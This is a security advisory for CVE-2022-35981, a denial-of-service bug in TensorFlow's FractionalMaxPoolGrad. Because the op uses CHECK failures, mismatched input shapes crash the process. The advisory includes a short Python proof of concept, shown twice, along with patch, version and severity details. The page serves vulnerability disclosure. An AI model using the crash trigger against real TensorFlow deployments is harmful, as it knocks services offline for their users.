Advisoriesby IbisTensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`
Impact
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
```python
import tensorflow as tf
overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
`
Patches
We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact `FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: ```python import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-617
- Also known as
- BIT-tensorflow-2022-35981, CVE-2022-35981, PYSEC-2026-1041, PYSEC-2026-3250, PYSEC-2026-3375
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